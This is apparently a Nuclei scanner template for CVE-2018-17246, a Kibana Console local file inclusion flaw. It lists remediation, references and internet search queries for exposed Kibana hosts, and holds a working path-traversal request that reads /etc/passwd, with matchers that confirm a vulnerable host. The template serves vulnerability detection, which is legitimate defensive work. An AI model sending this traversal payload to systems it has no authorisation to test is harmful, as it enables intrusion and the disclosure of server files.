id: CVE-2018-17246

info:
  name: Kibana - Local File Inclusion
  author: princechaddha,thelicato
  severity: critical
  description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further attacks.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
    - https://www.elastic.co/community/security
    - https://discuss.elastic.co/t/elastic-stack-6-4-3-and-5-6-13-security-update/155594
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
    - https://access.redhat.com/errata/RHBA-2018:3743
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17246
    cwe-id: CWE-829,CWE-73
    epss-score: 0.93773
    epss-percentile: 0.99863
    cpe: cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: elastic
    product: kibana
    shodan-query: http.title:"kibana"
    fofa-query: title="kibana"
    google-query: intitle:"kibana"
  tags: cve,cve2018,lfi,kibana,vulhub,elastic,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"message\":\"An internal server error occurred\""

      - type: word
        part: header
        words:
          - "kbn-name"
          - "kibana"
        case-insensitive: true
        condition: or

      - type: word
        part: header
        words:
          - "application/json"
# digest: 490a0046304402204a1eb273611690266e6afd9faac9f7531a1c65467b3fcc355040e27498b77c1c022042a282e2d94bde9f12ecde9f8f7f2e7cd48e24cd1790aa57f8bd4377a1b87273:922c64590222798bb761d5b6d8e72950